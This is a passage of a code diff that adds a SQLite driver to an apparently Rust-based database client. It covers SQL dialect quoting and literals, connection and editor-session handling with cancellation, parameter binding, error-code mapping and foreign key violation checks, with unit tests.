SqliteDialect { + version: SqliteVersion, +} + +/// What the structure tab can change on SQLite without rebuilding the +/// table. Everything ALTER TABLE cannot do is off until the rebuild +/// plans exist. +static DDL: SqliteDdl = SqliteDdl { + capabilities: DdlCapabilities { + create_table: true, + rename_table: true, + add_column: true, + drop_column: true, + rename_column: true, + alter_column_type: false, + alter_column_nullability: false, + nullability_switch: false, + alter_column_default: false, + alter_primary_key: false, + alter_auto_increment: false, + create_index: true, + drop_index: true, + expression_index_keys: true, + partial_indexes: true, + add_foreign_key: false, + drop_foreign_key: false, + drop_table_cascade: false, + }, +}; + +#[derive(Debug)] +struct SqliteDdl { + capabilities: DdlCapabilities, +} + +impl DdlDialect for SqliteDdl { + fn capabilities(&self) -> &DdlCapabilities { + &self.capabilities + } +} + +impl SqliteDialect { + pub fn new(version: SqliteVersion) -> Self { + Self { version } + } + + pub fn version(&self) -> SqliteVersion { + self.version + } +} + +impl SqlDialect for SqliteDialect { + fn capabilities(&self) -> DialectCapabilities { + DialectCapabilities { exact_row_counts: true } + } + + fn grammar(&self) -> SqlGrammar { + SqlGrammar::Sqlite + } + + fn quote_identifier(&self, name: &str) -> String { + format!("\"{}\"", name.replace('"', "\"\"")) + } + + fn placeholder(&self, _ordinal: usize, value: Value, target: BindTarget<'_>) -> Result { + let (value, param_type) = match target { + BindTarget::Pattern => (value, ParamType::Text), + BindTarget::EngineRowId(EngineRowIdPart::SqliteRowid) => (value, ParamType::Int64), + BindTarget::EngineRowId(_) => { + return Err(BindError::Unrepresentable { + expected: "a SQLite rowid", + found: "another engine's row address", + }); + } + BindTarget::Column(column) => column_param(value, column)?, + }; + Ok(Placeholder::bound("?", BoundParam::new(value, param_type)?)) + } + + fn literal(&self, value: &Value, _column: &ColumnType) -> Result { + match value { + Value::Null => Ok("NULL".to_owned()), + Value::Bool(flag) => Ok(if *flag { "1" } else { "0" }.to_owned()), + Value::Int(integer) => Ok(integer.to_string()), + Value::UInt(integer) => Ok(integer.to_string()), + Value::WideInt(integer) => Ok(integer.to_string()), + Value::Decimal(decimal) if decimal.is_finite() => Ok(decimal.to_string()), + // Debug keeps the decimal point or exponent, so `2.0` stays + // a real instead of reading back as the integer 2. + Value::Float32(real) if real.is_finite() => Ok(format!("{:?}", f64::from(*real))), + Value::Float64(real) if real.is_finite() => Ok(format!("{real:?}")), + Value::Bytes(bytes) => Ok(format!("X'{}'", tablepro_core::hex::encode_lower(bytes))), + Value::Undecodable(undecodable) => Err(LiteralError::Undecodable { + reason: format!("{:?}", undecodable.reason), + }), + Value::Array(_) | Value::Decimal(_) | Value::Float32(_) | Value::Float64(_) => { + Err(LiteralError::Unrepresentable { + found: value.variant_name(), + }) + } + // Text and the temporal values, stored as the ISO text + // SQLite's date functions read. + other => match value_to_text(other) { + Some(text) => Ok(format!("'{}'", text.replace('\'', "''"))), + None => Ok("NULL".to_owned()), + }, + } + } + + fn escape_like_text(&self, text: &str) -> String { + let mut escaped = String::with_capacity(text.len()); + for character in text.chars() { + if matches!(character, '!' | '%' | '_') { + escaped.push('!'); + } + escaped.push(character); + } + escaped + } + + /// LIKE ignores ASCII case already, but only for LIKE: LOWER() on + /// both sides keeps an insensitive filter insensitive whatever + /// `case_sensitive_like` a session set. + fn like_predicate(&self, column_sql: &str, pattern_sql: &str, form: LikeForm) -> String { + let (left, right) = match form.case { + LikeCase::Insensitive => (format!("LOWER({column_sql})"), format!("LOWER({pattern_sql})")), + LikeCase::EngineDefault => (column_sql.to_owned(), pattern_sql.to_owned()), + }; + let operator = if form.negated { "NOT LIKE" } else { "LIKE" }; + match form.escaped { + true => format!("{left} {operator} {right} ESCAPE '!'"), + false => format!("{left} {operator} {right}"), + } + } + + fn row_window(&self, order_by: Option<&str>, limit: u64, offset: u64) -> String { + match order_by.map(str::trim).filter(|order| !order.is_empty()) { + Some(order) => format!(" ORDER BY {order} LIMIT {limit} OFFSET {offset}"), + None => format!(" LIMIT {limit} OFFSET {offset}"), + } + } + + fn row_value_after(&self, key_sql: &[String], markers: &[String], direction: KeysetDirection) -> String { + format!( + "({}) {} ({})", + key_sql.join(", "), + direction.comparison(), + markers.join(", ") + ) + } + + fn engine_row_id(&self, id: EngineRowId) -> Option { + match id { + EngineRowId::SqliteRowid => Some(format!( + "{} AS {}", + self.engine_row_id_column(EngineRowIdPart::SqliteRowid)?, + self.quote_identifier(EngineRowIdPart::SqliteRowid.projection_alias()) + )), + EngineRowId::PostgresCtid | EngineRowId::PostgresTableoidCtid => None, + } + } + + fn engine_row_id_column(&self, part: EngineRowIdPart) -> Option { + match part { + EngineRowIdPart::SqliteRowid => Some(self.quote_identifier("rowid")), + EngineRowIdPart::PostgresCtid | EngineRowIdPart::PostgresTableOid | EngineRowIdPart::PostgresXmin => None, + } + } + + fn parse_type(&self, text: &str) -> Result { + let parsed = parse_type(SqlGrammar::Sqlite, text, MAX_TYPE_LEN)?; + // A draft column has no table yet, so it reads as it would in + // an ordinary table, the only kind the app creates. + Ok(declared_column_type(&parsed.text, false)) + } + + fn parse_expression(&self, text: &str) -> Result { + let parsed = parse_expression(SqlGrammar::Sqlite, text, MAX_EXPRESSION_LEN)?; + Ok(SqlExpression::from_catalog_text(parsed.text)) + } + + fn ddl(&self) -> Option<&dyn DdlDialect> { + Some(&DDL) + } +} + +/// The parameter a value takes for a column. +/// +/// A column of an ordinary table stores whatever class it is given, so +/// the value names its own type. A STRICT column takes only its +/// declared class, which is checked here before the server refuses it. +fn column_param(value: Value, column: &ColumnInfo) -> Result<(Value, ParamType), BindError> { + if !column.column_type.dynamic_storage { + let strict = match &column.column_type.kind { + ColumnKind::Integer(_) => Some(ParamType::Int64), + ColumnKind::Float(_) => Some(ParamType::Float64), + ColumnKind::Text { .. } => Some(ParamType::Text), + ColumnKind::Bytes { .. } => Some(ParamType::Bytes), + _ => None, + }; + if let Some(param_type) = strict { + return Ok((value, param_type)); + } + } + value_param(value) +} + +fn value_param(value: Value) -> Result<(Value, ParamType), BindError> { + // A value only the server could name travels as the text it was + // typed as, which is what SQLite stores for it anyway. + if let Value::Other(other) = value { + return Ok((Value::Text(other.text), ParamType::Text)); + } + let param_type = match &value { + Value::Null | Value::Text(_) => ParamType::Text, + Value::Bool(_) => ParamType::Bool, + Value::Int(_) | Value::UInt(_) => ParamType::Int64, + Value::WideInt(_) | Value::Decimal(_) => ParamType::Decimal, + Value::Float32(_) | Value::Float64(_) => ParamType::Float64, + Value::Bytes(_) => ParamType::Bytes, + Value::Bits(_) => ParamType::Bits, + Value::Uuid(_) => ParamType::Uuid, + Value::Json(_) => ParamType::Json, + Value::Date(_) => ParamType::Date, + Value::Time(_) => ParamType::Time, + Value::TimeTz(_) => ParamType::TimeTz, + Value::Timestamp(_) => ParamType::Timestamp, + Value::TimestampTz(_) => ParamType::TimestampTz, + Value::Interval(_) => ParamType::Interval, + Value::Other(_) | Value::Undecodable(_) => ParamType::Text, + Value::Array(_) => { + return Err(BindError::Unrepresentable { + expected: "a SQLite value", + found: "Array", + }); + } + }; + Ok((value, param_type)) +} + +#[cfg(test)] +mod tests { + use tablepro_core::column::{BoolStorage, ColumnDefault, ReadForm, TextLength}; + use tablepro_core::value::OtherValue; + + use super::*; + + fn dialect() -> SqliteDialect { + SqliteDialect::new(SqliteVersion::new(3, 46, 1)) + } + + fn column(declared: &str, strict: bool) -> ColumnInfo { + ColumnInfo { + name: "c".to_owned(), + column_type: declared_column_type(declared, strict), + nullable: true, + primary_key: false, + is_auto_increment: false, + is_generated: false, + default: ColumnDefault::None, + comment: None, + } + } + + #[test] + fn sqlite_rowid_placeholder_is_a_question_mark() { + let placeholder = dialect() + .placeholder(3, Value::Int(42), BindTarget::EngineRowId(EngineRowIdPart::SqliteRowid)) + .unwrap(); + + assert_eq!(placeholder.sql, "?"); + assert_eq!( + placeholder.param.as_ref().map(BoundParam::param_type), + Some(&ParamType::Int64) + ); + assert_eq!( + dialect().engine_row_id(EngineRowId::SqliteRowid), + Some(r#""rowid" AS "__tablepro_row_id""#.to_owned()) + ); + assert!( + dialect() + .placeholder(0, Value::Int(1), BindTarget::EngineRowId(EngineRowIdPart::PostgresCtid)) + .is_err() + ); + } + + #[test] + fn row_value_after_compares_the_whole_key() { + let keys = ["\"a\"".to_owned(), "\"b\"".to_owned()]; + let markers = ["?".to_owned(), "?".to_owned()]; + + assert_eq!( + dialect().row_value_after(&keys, &markers, KeysetDirection::After), + "(\"a\", \"b\") > (?, ?)" + ); + assert_eq!( + dialect().row_value_after(&keys, &markers, KeysetDirection::Before), + "(\"a\", \"b\") < (?, ?)" + ); + } + + #[test] + fn an_ordinary_column_binds_the_class_the_value_has() { + let integer = column("INTEGER", false); + + let text = dialect() + .placeholder(0, Value::Text("n/a".to_owned()), BindTarget::Column(&integer)) + .unwrap(); + let typed_other = dialect() + .placeholder( + 0, + Value::Other(Box::new(OtherValue { + type_name: "STRING".to_owned(), + text: "kept".to_owned(), + })), + BindTarget::Column(&column("STRING", false)), + ) + .unwrap(); + + assert_eq!( + text.param.map(|param| param.value().clone()), + Some(Value::Text("n/a".to_owned())) + ); + assert_eq!( + typed_other.param.map(|param| param.value().clone()), + Some(Value::Text("kept".to_owned())) + ); + } + + #[test] + fn a_strict_column_refuses_another_class_before_the_server_does() { + let strict_integer = column("INTEGER", true); + + let refused = dialect().placeholder(0, Value::Text("7".to_owned()), BindTarget::Column(&strict_integer)); + + assert_eq!( + refused, + Err(BindError::ValueTypeMismatch { + expected: "Int64", + found: "Text" + }) + ); + } + + #[test] + fn like_escapes_with_bang_and_lowers_both_sides_when_insensitive() { + assert_eq!(dialect().escape_like_text("50%_!"), "50!%!_!!"); + assert_eq!( + dialect().like_predicate("\"a\"", "?", LikeForm::contains()), + "\"a\" LIKE ? ESCAPE '!'" + ); + assert_eq!( + dialect().like_predicate("\"a\"", "?", LikeForm::insensitive(true)), + "LOWER(\"a\") NOT LIKE LOWER(?)" + ); + } + + #[test] + fn literals_keep_their_storage_class() { + let text = ColumnType::untyped_text("TEXT"); + let cases = [ + (Value::Null, "NULL"), + (Value::Bool(true), "1"), + (Value::Int(-3), "-3"), + (Value::Float64(2.0), "2.0"), + (Value::Float64(1e300), "1e300"), + (Value::Bytes(vec![0xde, 0xad]), "X'dead'"), + (Value::Text("it's".to_owned()), "'it''s'"), + ]; + for (value, expected) in cases { + assert_eq!(dialect().literal(&value, &text).as_deref(), Ok(expected), "{value:?}"); + } + assert!(dialect().literal(&Value::Float64(f64::NAN), &text).is_err()); + } + + #[test] + fn literal_round_trips_through_the_sqlite_parser() { + use sqlparser::dialect::SQLiteDialect; + use sqlparser::tokenizer::{Token, Tokenizer}; + + let text = ColumnType::untyped_text("TEXT"); + let cases = [ + ( + Value::Text("a;b'c".to_owned()), + Token::SingleQuotedString("a;b'c".to_owned()), + ), + (Value::Float64(0.5), Token::Number("0.5".to_owned(), false)), + (Value::Int(12), Token::Number("12".to_owned(), false)), + ( + Value::Bytes(vec![0xde, 0xad]), + Token::HexStringLiteral("dead".to_owned()), + ), + ]; + for (value, expected) in cases { + let literal = dialect().literal(&value, &text).unwrap(); + let tokens = Tokenizer::new(&SQLiteDialect {}, &literal).tokenize().unwrap(); + assert_eq!(tokens, [expected], "{literal}"); + } + } + + #[test] + fn a_draft_type_reads_as_in_an_ordinary_table() { + let parsed = dialect().parse_type("boolean").unwrap(); + + assert_eq!(parsed.kind, ColumnKind::Bool(BoolStorage::Integer)); + assert!(parsed.dynamic_storage); + assert_eq!(parsed.read_form, ReadForm::Native); + assert_eq!( + dialect().parse_type("varchar(20)").map(|parsed| parsed.kind), + Ok(ColumnKind::Text { + length: TextLength::Unbounded + }) + ); + assert!(dialect().ddl().is_some_and(|ddl| ddl.capabilities().partial_indexes)); + } +} diff --git a/linux/crates/drivers/sqlite/src/driver.rs b/linux/crates/drivers/sqlite/src/driver.rs new file mode 100644 index 0000000000..dab3da34d7 --- /dev/null +++ b/linux/crates/drivers/sqlite/src/driver.rs @@ -0,0 +1,58 @@ +use std::sync::Arc; + +use async_trait::async_trait; +use tablepro_core::{ + ConnectOptions, ConnectTarget, Connection, DatabaseDriver, DriverCapabilities, DriverError, TimeoutPhase, +}; +use tokio_util::sync::CancellationToken; + +use crate::capabilities::CAPABILITIES; +use crate::connection::SqliteConnection; + +/// The workspace pool's size. SQLite runs one writer at a time, and a +/// single connection is also what lets a temporary table or an +/// attached database stay visible from one call to the next. +pub const WORKSPACE_POOL_MAX_SIZE: usize = 1; + +/// The SQLite engine. +#[derive(Debug, Clone, Copy, Default)] +pub struct SqliteDriver; + +#[async_trait] +impl DatabaseDriver for SqliteDriver { + fn id(&self) -> &'static str { + "sqlite" + } + + fn display_name(&self) -> &'static str { + "SQLite" + } + + fn capabilities(&self) -> &'static DriverCapabilities { + &CAPABILITIES + } + + async fn connect( + &self, + options: ConnectOptions, + cancel: CancellationToken, + ) -> Result, DriverError> { + let ConnectTarget::File(endpoint) = &options.target else { + return Err(DriverError::Unsupported { + feature: "network connections", + }); + }; + let opening = SqliteConnection::open(endpoint, options.workspace_settings, options.liveness); + tokio::select! { + biased; + () = cancel.cancelled() => Err(DriverError::Cancelled), + opened = tokio::time::timeout(options.liveness.connect_timeout, opening) => match opened { + Ok(opened) => opened.map(|connection| Arc::new(connection) as Arc), + Err(_) => Err(DriverError::Timeout { + phase: TimeoutPhase::Connect, + server_cancelled: false, + }), + }, + } + } +} diff --git a/linux/crates/drivers/sqlite/src/editor_session.rs b/linux/crates/drivers/sqlite/src/editor_session.rs new file mode 100644 index 0000000000..f913d6fe40 --- /dev/null +++ b/linux/crates/drivers/sqlite/src/editor_session.rs @@ -0,0 +1,257 @@ +use std::path::Path; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::{Mutex, PoisonError}; +use std::time::Duration; + +use async_trait::async_trait; +use sqlx::Connection as _; +use sqlx::sqlite::{SqliteConnectOptions, SqliteConnection as SqlxConnection}; +use tablepro_core::{ + CallOptions, DriverError, EditorSession, EditorSessionId, EditorSessionOptions, EditorSessionState, LivenessPolicy, + LossPhase, ResultSink, RunEnd, RunOptions, RunSummary, TimeoutPhase, TransactionState, UserSql, +}; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; + +use crate::autocommit::is_autocommit; +use crate::deadline; +use crate::errors::{is_interrupt, map_error, map_open_error}; +use crate::interrupt::InterruptFlag; +use crate::result_stream::{StreamOutcome, run_script}; + +/// One editor tab's own connection to the file. +/// +/// The tab's transaction and temporary tables live on this connection +/// and nowhere else, so it is never pooled and never reopened behind +/// the user's back. +#[derive(Debug)] +pub(crate) struct SqliteEditorSession { + id: EditorSessionId, + connection: tokio::sync::Mutex>, + running: AtomicBool, + lost: AtomicBool, + /// The running statement's stop, so closing the tab stops it. + current: Mutex>, + statement_timeout: Option, + cancel_grace: Duration, + close_timeout: Duration, +} + +/// Why a run stopped before it finished. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum Stop { + Cancelled, + DeadlineElapsed, +} + +impl SqliteEditorSession { + pub(crate) async fn open( + options: &SqliteConnectOptions, + path: &Path, + session: EditorSessionOptions, + liveness: &LivenessPolicy, + cancel: CancellationToken, + ) -> Result { + let connecting = SqlxConnection::connect_with(options); + let connection = tokio::select! { + biased; + () = cancel.cancelled() => return Err(DriverError::Cancelled), + opened = tokio::time::timeout(liveness.connect_timeout, connecting) => match opened { + Ok(opened) => opened.map_err(|error| map_open_error(error, path))?, + Err(_) => { + return Err(DriverError::Timeout { + phase: TimeoutPhase::Connect, + server_cancelled: false, + }); + } + }, + }; + Ok(Self { + id: EditorSessionId::new(), + connection: tokio::sync::Mutex::new(Some(connection)), + running: AtomicBool::new(false), + lost: AtomicBool::new(false), + current: Mutex::new(None), + statement_timeout: session.statement_timeout, + cancel_grace: liveness.cancel_grace, + close_timeout: liveness.close_timeout, + }) + } + + fn set_current(&self, flag: Option) { + *self.current.lock().unwrap_or_else(PoisonError::into_inner) = flag; + } + + /// Run the script, stopping it on a cancel or at the deadline. A + /// stopped statement gets the cancel grace to notice its flag; past + /// that its read is dropped, which SQLite also takes as the end. + async fn supervise( + &self, + connection: &mut SqlxConnection, + flag: &InterruptFlag, + sql: &UserSql, + options: &RunOptions, + sink: &mut dyn ResultSink, + ) -> Result { + let deadline = options + .deadline + .or(self.statement_timeout) + .map(|limit| Instant::now() + limit); + let running = run_script(connection, sql.as_str(), Some(options.row_limit), sink); + tokio::pin!(running); + let stop = tokio::select! { + outcome = &mut running => return finished(outcome), + () = options.cancel.cancelled() => Stop::Cancelled, + () = deadline::elapsed(deadline) => Stop::DeadlineElapsed, + }; + flag.raise(); + let settled = tokio::time::timeout(self.cancel_grace, &mut running).await; + Ok(match (stop, settled) { + (_, Ok(Ok(outcome))) => completed(outcome), + (Stop::Cancelled, Ok(Err(error))) if is_interrupt(&error) => RunEnd::Cancelled, + (Stop::DeadlineElapsed, Ok(Err(error))) if is_interrupt(&error) => { + RunEnd::TimedOut { server_cancelled: true } + } + (_, Ok(Err(error))) => return session_failure(error), + (Stop::Cancelled, Err(_)) => RunEnd::Cancelled, + (Stop::DeadlineElapsed, Err(_)) => RunEnd::TimedOut { + server_cancelled: false, + }, + }) + } + + /// Where the transaction stands after a run. A statement still + /// winding down holds the connection, so the answer may not come in + /// time, and then it is unknown rather than guessed. + async fn state_after_run(&self, connection: &mut SqlxConnection) -> TransactionState { + let asking = async { + let mut handle = connection.lock_handle().await.map_err(map_error)?; + Ok::<_, DriverError>(is_autocommit(&mut handle)) + }; + match tokio::time::timeout(self.cancel_grace, asking).await { + Ok(Ok(true)) => TransactionState::Idle, + Ok(Ok(false)) => TransactionState::InTransaction, + Ok(Err(_)) | Err(_) => TransactionState::Unknown, + } + } +} + +fn finished(outcome: Result) -> Result { + match outcome { + Ok(outcome) => Ok(completed(outcome)), + Err(error) => session_failure(error), + } +} + +fn completed(outcome: StreamOutcome) -> RunEnd { + match outcome.consumer_gone { + true => RunEnd::Cancelled, + false => RunEnd::Completed, + } +} + +/// A statement SQLite refused ends the run. A connection that is gone +/// ends the session. +fn session_failure(error: DriverError) -> Result { + match error { + DriverError::ConnectionLost { .. } => Err(error), + other => Ok(RunEnd::Failed(other)), + } +} + +#[async_trait] +impl EditorSession for SqliteEditorSession { + fn id(&self) -> EditorSessionId { + self.id + } + + fn state(&self) -> EditorSessionState { + if self.lost.load(Ordering::SeqCst) { + EditorSessionState::Lost + } else if self.running.load(Ordering::SeqCst) { + EditorSessionState::Running + } else { + EditorSessionState::Ready + } + } + + async fn run( + &self, + sql: UserSql, + options: RunOptions, + mut sink: Box, + ) -> Result { + let Ok(mut held) = self.connection.try_lock() else { + return Err(DriverError::EditorSessionBusy); + }; + let Some(connection) = held.as_mut() else { + return Err(DriverError::ConnectionLost { + during: LossPhase::Idle, + }); + }; + let started = Instant::now(); + self.running.store(true, Ordering::SeqCst); + let flag = InterruptFlag::new(); + self.set_current(Some(flag.clone())); + + let ended = match flag.install(connection).await { + Ok(()) => self.supervise(connection, &flag, &sql, &options, sink.as_mut()).await, + Err(error) => session_failure(error), + }; + let transaction_state = match &ended { + Ok(_) => self.state_after_run(connection).await, + Err(_) => TransactionState::Unknown, + }; + self.set_current(None); + self.running.store(false, Ordering::SeqCst); + let end = match ended { + Ok(end) => end, + Err(error) => { + self.lost.store(true, Ordering::SeqCst); + *held = None; + return Err(error); + } + }; + Ok(RunSummary { + elapsed: started.elapsed(), + end, + transaction_state, + }) + } + + async fn transaction_state(&self, options: CallOptions) -> Result { + let mut held = tokio::select! { + biased; + () = options.cancel().cancelled() => return Err(DriverError::Cancelled), + () = deadline::elapsed(options.deadline()) => { + return Err(DriverError::Timeout { phase: TimeoutPhase::Statement, server_cancelled: false }); + } + held = self.connection.lock() => held, + }; + let Some(connection) = held.as_mut() else { + return Err(DriverError::ConnectionLost { + during: LossPhase::Idle, + }); + }; + let mut handle = connection.lock_handle().await.map_err(map_error)?; + Ok(match is_autocommit(&mut handle) { + true => TransactionState::Idle, + false => TransactionState::InTransaction, + }) + } + + async fn close(&self) { + self.lost.store(true, Ordering::SeqCst); + if let Some(flag) = self.current.lock().unwrap_or_else(PoisonError::into_inner).take() { + flag.raise(); + } + // A statement that will not stop keeps the connection, which + // closes when the session itself is dropped. + let Ok(mut held) = tokio::time::timeout(self.cancel_grace, self.connection.lock()).await else { + return; + }; + if let Some(connection) = held.take() { + let _ = tokio::time::timeout(self.close_timeout, connection.close()).await; + } + } +} diff --git a/linux/crates/drivers/sqlite/src/encode.rs b/linux/crates/drivers/sqlite/src/encode.rs new file mode 100644 index 0000000000..cf4fae41e1 --- /dev/null +++ b/linux/crates/drivers/sqlite/src/encode.rs @@ -0,0 +1,62 @@ +//! Parameters as SQLite storage classes. +//! +//! SQLite has five classes and no wire types, so a parameter is bound +//! as the class that keeps its value exactly: integers as INTEGER, +//! floats as REAL, bytes as BLOB, and everything else as the text the +//! app shows for it. The `ParamType` was checked against the value when +//! the parameter was built, and the value alone names its class. + +use sqlx::Sqlite; +use sqlx::query::Query; +use sqlx::sqlite::SqliteArguments; +use tablepro_core::DriverError; +use tablepro_core::export::value_to_text; +use tablepro_core::statement::BoundParam; +use tablepro_core::value::Value; + +pub(crate) fn bind_all<'q>( + mut query: Query<'q, Sqlite, SqliteArguments>, + params: &[BoundParam], +) -> Result, DriverError> { + for param in params { + query = bind_one(query, param)?; + } + Ok(query) +} + +fn bind_one<'q>( + query: Query<'q, Sqlite, SqliteArguments>, + param: &BoundParam, +) -> Result, DriverError> { + Ok(match param.value() { + Value::Null => query.bind(None::), + Value::Bool(flag) => query.bind(i64::from(*flag)), + Value::Int(integer) => query.bind(*integer), + // SQLite has no unsigned integer. Past i64 the digits are bound + // as text, which keeps them exact where a real would round. + Value::UInt(integer) => match i64::try_from(*integer) { + Ok(integer) => query.bind(integer), + Err(_) => query.bind(integer.to_string()), + }, + Value::WideInt(integer) => match integer.to_i128().and_then(|wide| i64::try_from(wide).ok()) { + Some(integer) => query.bind(integer), + None => query.bind(integer.to_string()), + }, + Value::Float32(real) => query.bind(f64::from(*real)), + Value::Float64(real) => query.bind(*real), + Value::Bytes(bytes) => query.bind(bytes.clone()), + Value::Undecodable(_) | Value::Array(_) => { + return Err(DriverError::Protocol(format!( + "a {} value cannot be bound as a SQLite parameter", + param.value().variant_name() + ))); + } + // Text, decimals, UUIDs, JSON and temporals are stored as the + // text SQLite's own functions read and write: ISO dates, and + // decimals in full, left to the column's affinity to convert. + other => match value_to_text(other) { + Some(text) => query.bind(text), + None => query.bind(None::), + }, + }) +} diff --git a/linux/crates/drivers/sqlite/src/errors.rs b/linux/crates/drivers/sqlite/src/errors.rs new file mode 100644 index 0000000000..833544b233 --- /dev/null +++ b/linux/crates/drivers/sqlite/src/errors.rs @@ -0,0 +1,159 @@ +//! SQLite result codes as the app's errors. +//! +//! SQLite reports an extended result code whose low byte is the primary +//! one, and the primary code is what these branches turn on. + +use std::path::Path; + +use sqlx::error::DatabaseError; +use sqlx::sqlite::SqliteError; +use tablepro_core::{DriverError, LossPhase, ReadOnlyRefusal, ServerCode, ServerDiagnostics}; + +pub(crate) const SQLITE_ERROR: i32 = 1; +pub(crate) const SQLITE_BUSY: i32 = 5; +pub(crate) const SQLITE_LOCKED: i32 = 6; +pub(crate) const SQLITE_READONLY: i32 = 8; +pub(crate) const SQLITE_INTERRUPT: i32 = 9; +pub(crate) const SQLITE_IOERR: i32 = 10; +pub(crate) const SQLITE_CANTOPEN: i32 = 14; +pub(crate) const SQLITE_CONSTRAINT: i32 = 19; +pub(crate) const SQLITE_NOTADB: i32 = 26; +pub(crate) const SQLITE_CONSTRAINT_FOREIGNKEY: i32 = 787; + +/// An error from a statement on an open connection. +/// +/// An interrupt is left as the server error it is: only the call that +/// raised the interrupt knows whether it meant a cancel or a deadline, +/// so `OwnedCalls` and the editor session turn it into one. +pub(crate) fn map_error(error: sqlx::Error) -> DriverError { + match error { + sqlx::Error::Database(database) => match database.try_downcast_ref::() { + Some(sqlite) => server_error(sqlite), + None => DriverError::server(database.message().to_owned()), + }, + sqlx::Error::Io(_) | sqlx::Error::WorkerCrashed => DriverError::ConnectionLost { + during: LossPhase::Statement, + }, + // The one workspace connection is held by a longer call, so the + // file is busy rather than gone. + sqlx::Error::PoolTimedOut => DriverError::Busy, + sqlx::Error::PoolClosed => DriverError::ConnectionLost { + during: LossPhase::Idle, + }, + sqlx::Error::ColumnDecode { index, source } => DriverError::Decode { + column: index, + detail: source.to_string(), + }, + other => DriverError::Protocol(other.to_string()), + } +} + +/// An error while opening `path`, where the file itself is usually the +/// answer. +pub(crate) fn map_open_error(error: sqlx::Error, path: &Path) -> DriverError { + let primary = match &error { + sqlx::Error::Database(database) => database.try_downcast_ref::().map(primary_code), + _ => None, + }; + match primary { + Some(SQLITE_CANTOPEN) => cannot_open(path), + Some(SQLITE_NOTADB) => DriverError::NotADatabase { + path: path.to_path_buf(), + }, + _ => map_error(error), + } +} + +/// SQLite says only that it could not open the file. Whether the file +/// is there tells a moved database apart from one the user may not +/// read. +pub(crate) fn cannot_open(path: &Path) -> DriverError { + match std::fs::symlink_metadata(path) { + Err(error) if error.kind() == std::io::ErrorKind::NotFound => DriverError::FileNotFound { + path: path.to_path_buf(), + }, + _ => DriverError::FileAccessDenied { + path: path.to_path_buf(), + }, + } +} + +fn server_error(sqlite: &SqliteError) -> DriverError { + let diagnostics = diagnostics_of(sqlite); + match primary_code(sqlite) { + SQLITE_BUSY | SQLITE_LOCKED => DriverError::Busy, + SQLITE_READONLY => DriverError::ReadOnly(ReadOnlyRefusal::server(diagnostics)), + _ => DriverError::reported(diagnostics), + } +} + +fn diagnostics_of(sqlite: &SqliteError) -> ServerDiagnostics { + let extended = extended_code(sqlite); + ServerDiagnostics::new( + Some(ServerCode::Sqlite { + primary: extended & 0xff, + extended, + }), + sqlite.message().to_owned(), + ) +} + +fn extended_code(sqlite: &SqliteError) -> i32 { + sqlite + .code() + .and_then(|code| code.parse::().ok()) + .unwrap_or(SQLITE_ERROR) +} + +fn primary_code(sqlite: &SqliteError) -> i32 { + extended_code(sqlite) & 0xff +} + +/// The primary SQLite code behind an error, where it is a server error +/// that kept its code. +pub(crate) fn primary_of(error: &DriverError) -> Option { + match error { + DriverError::Server(diagnostics) => match diagnostics.code { + Some(ServerCode::Sqlite { primary, .. }) => Some(primary), + _ => None, + }, + _ => None, + } +} + +/// Whether the error is SQLite reporting that a progress handler +/// stopped the statement. +pub(crate) fn is_interrupt(error: &DriverError) -> bool { + primary_of(error) == Some(SQLITE_INTERRUPT) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn cantopen_distinguishes_missing_and_denied() { + let directory = tempfile::tempdir().unwrap(); + let missing = directory.path().join("moved.sqlite3"); + let present = directory.path().join("locked.sqlite3"); + std::fs::write(&present, b"").unwrap(); + + assert_eq!(cannot_open(&missing), DriverError::FileNotFound { path: missing }); + assert_eq!(cannot_open(&present), DriverError::FileAccessDenied { path: present }); + } + + #[test] + fn an_interrupt_is_recognised_by_its_primary_code() { + let interrupted = DriverError::reported(ServerDiagnostics::new( + Some(ServerCode::Sqlite { + primary: SQLITE_INTERRUPT, + extended: SQLITE_INTERRUPT, + }), + "interrupted", + )); + + assert!(is_interrupt(&interrupted)); + assert!(!is_interrupt(&DriverError::Cancelled)); + assert_eq!(primary_of(&DriverError::server("no code")), None); + } +} diff --git a/linux/crates/drivers/sqlite/src/foreign_key_verification.rs b/linux/crates/drivers/sqlite/src/foreign_key_verification.rs new file mode 100644 index 0000000000..9e4c44f56d --- /dev/null +++ b/linux/crates/drivers/sqlite/src/foreign_key_verification.rs @@ -0,0 +1,188 @@ +//! Telling the foreign key violations a batch introduced from the ones +//! that were already there. +//! +//! A rebuild has to run with foreign keys off, and the file may hold +//! violations from long before: SQLite does not check rows that were +//! written while foreign keys were off. So the check before the batch +//! and the check after it are compared, and only the difference fails +//! the batch. + +use std::collections::HashMap; + +use tablepro_core::{DriverError, ServerCode, ServerDiagnostics}; + +use crate::errors::{SQLITE_CONSTRAINT, SQLITE_CONSTRAINT_FOREIGNKEY}; + +/// One row of `foreign_key_check`. +#[derive(Debug, Clone, PartialEq, Eq, Hash)] +pub(crate) struct Violation { + pub table: String, + /// `None` for a WITHOUT ROWID child table, which has no rowid to + /// name the row by. + pub rowid: Option, + pub parent: String, +} + +/// Violations in one child table against one parent, that the batch +/// left behind. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct IntroducedViolations { + pub table: String, + pub parent: String, + pub count: usize, +} + +/// Name `baseline` rows by the names the tables have after the batch, +/// so a table the batch renamed compares with itself. +pub(crate) fn renamed(baseline: Vec, renames: &HashMap) -> Vec { + let rename = |name: String| renames.get(&name.to_lowercase()).cloned().unwrap_or(name); + baseline + .into_iter() + .map(|violation| Violation { + table: rename(violation.table), + rowid: violation.rowid, + parent: rename(violation.parent), + }) + .collect() +} + +/// The rows of `after` that `before` does not account for, compared as +/// multisets. Rows without a rowid are all alike, so for a WITHOUT +/// ROWID table it is the count per child and parent that compares. +pub(crate) fn introduced(before: &[Violation], after: &[Violation]) -> Vec { + let mut remaining: HashMap<(String, Option, String), usize> = HashMap::new(); + for violation in before { + *remaining.entry(key(violation)).or_default() += 1; + } + let mut introduced: Vec = Vec::new(); + for violation in after { + if let Some(left) = remaining.get_mut(&key(violation)) + && *left > 0 + { + *left -= 1; + continue; + } + let table = violation.table.to_lowercase(); + let parent = violation.parent.to_lowercase(); + match introduced + .iter_mut() + .find(|group| group.table.to_lowercase() == table && group.parent.to_lowercase() == parent) + { + Some(group) => group.count += 1, + None => introduced.push(IntroducedViolations { + table: violation.table.clone(), + parent: violation.parent.clone(), + count: 1, + }), + } + } + introduced +} + +/// 